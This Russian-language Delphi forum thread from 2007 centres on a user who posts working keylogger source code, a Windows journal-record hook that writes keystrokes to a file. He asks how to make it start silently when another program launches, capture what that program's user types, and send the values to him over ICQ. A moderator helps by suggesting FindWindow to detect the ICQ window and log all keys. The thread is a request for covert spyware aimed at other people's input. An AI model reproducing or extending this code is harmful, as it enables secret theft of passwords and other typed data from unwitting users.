Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Вопрос по перехвату значений 
:(
    Опции темы
Des666
Дата 6.1.2007, 14:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 72
Регистрация: 13.10.2006

Репутация: -1
Всего: нет



Есть программа в которой при запуске стоят 2 поля эдит и 2 кнопки ок и выход,  как мне можно перехватить нажатия клавиш из другой программы? Когда запускается 1 программа то должна запускатья и 2...

Это сообщение отредактировал(а) Des666 - 6.1.2007, 14:44
PM MAIL WWW ICQ   Вверх
bartram
Дата 6.1.2007, 15:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Комодератор
Сообщений: 1606
Регистрация: 22.2.2004
Где: Russia, Samara

Репутация: 3
Всего: 29



Цитата(Des666 @  6.1.2007,  14:38 Найти цитируемый пост)
 как мне можно перехватить нажатия клавиш из другой программы? 

Что ты хочешь конкретно сделать? ты хочешь подменить результаты выполнения или ты хочешь чтобы просто после нажатия кнопки "ОК" ничего не произошло. Опиши вопрос по подробнее.
Цитата(Des666 @  6.1.2007,  14:38 Найти цитируемый пост)
 Когда запускается 1 программа то должна запускатья и 2...

Это как понять?



--------------------
В каждом из нас спит гений, но с каждым днем все крепче ;-)
bartram.ru
Twitter
user posted image 

PM MAIL ICQ   Вверх
Sunvas
Дата 6.1.2007, 15:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Соль и сахар
****


Профиль
Группа: Участник
Сообщений: 3388
Регистрация: 12.3.2006
Где: Тосно

Репутация: нет
Всего: 89



Цитата(Des666 @  6.1.2007,  14:38 Найти цитируемый пост)
Есть программа в которой при запуске стоят 2 поля эдит и 2 кнопки ок и выход,  как мне можно перехватить нажатия клавиш из другой программы? Когда запускается 1 программа то должна запускатья и 2...

Иными словами: "Как постить в тему, чтобы меня никто не понял".


--------------------
Воспитывая детей по своему образу и подобию, родители почему-то надеются, что они будут лучше их.
PM MAIL   Вверх
Des666
Дата 6.1.2007, 15:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 72
Регистрация: 13.10.2006

Репутация: -1
Всего: нет



Нет просто хочу значения отправлять по icq при нажатии кнопки ОК значения отправляются, только как сделать так чтобы это выполняла моя программа... вот код перехвата клавиш
Код

program KeyLOgger; 
{$APPTYPE CONSOLE}

uses
  Windows,
  Messages;

var
Mess: TMsg; 
Hook: hHook; 
Wnd: hWnd; 
Wrote: DWORD;

function HookProc(Code: Integer; WParam: Word; LParam: LongInt): LongInt; stdcall; 
var 
Msg: PEventMsg; 
LogChar: Char; 
begin 
if Code >= 0 then begin 
   Result := 0; 
   Msg := Pointer(LParam); 
   LogChar := Chr(Msg.paramL); 
   if Msg.message = WM_KEYDOWN then WriteFile(Wnd, LogChar, 1, Wrote, nil); 
end else 
    Result := CallNextHookEx(Hook, Code, WParam, LParam); 
end; 

begin 

Wnd := CreateFile('Log.txt', GENERIC_WRITE, FILE_SHARE_READ, nil, 
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FILE_FLAG_OVERLAPPED); 
Hook := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0); 

while GetMessage(Mess, 0, 0, 0) do 
begin 
TranslateMessage(Mess); 
DispatchMessage(Mess); 
end; 

end. 



Теперь нужно чтобы не всегда перехватывались клавиши а только при запуске 1 программы...
Тоесть программа висит в памяти и ждёт запуска 1.exe как только он запущен она перехватывает нажатие клавиш после нажатия кнопки ок она выполняет сохранение в файл...


Это сообщение отредактировал(а) Des666 - 6.1.2007, 16:50
PM MAIL WWW ICQ   Вверх
bartram
Дата 6.1.2007, 18:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Комодератор
Сообщений: 1606
Регистрация: 22.2.2004
Где: Russia, Samara

Репутация: 3
Всего: 29



Des666, ну так ищи через определенное время окно аськи через
Код
FindWindow()

читаешь заголовок этого окна и если это аська, значит пишешь в файл все клавиши smile


--------------------
В каждом из нас спит гений, но с каждым днем все крепче ;-)
bartram.ru
Twitter
user posted image 

PM MAIL ICQ   Вверх
Des666
Дата 6.1.2007, 19:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 72
Регистрация: 13.10.2006

Репутация: -1
Всего: нет



Мне ненадо чтобы вёлся лог сообщений мне наоборот нужно чтобы моя программа ждала запуска программы 1.exe, и запускалась после этого она перехватывает нажатия клавиш а когда пользователь жмет в программе 1.exe на кнопку "ок" она отправляет значения мне в icq, отправку в icq я знаю как сделать, мне нужно чтобы моя программа начинала работать именно в тот момент когда пользователь открывает программу 1.exe и отсылала бы мне всё что было записано после нажатия кнопки "ОК"
PM MAIL WWW ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0436 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.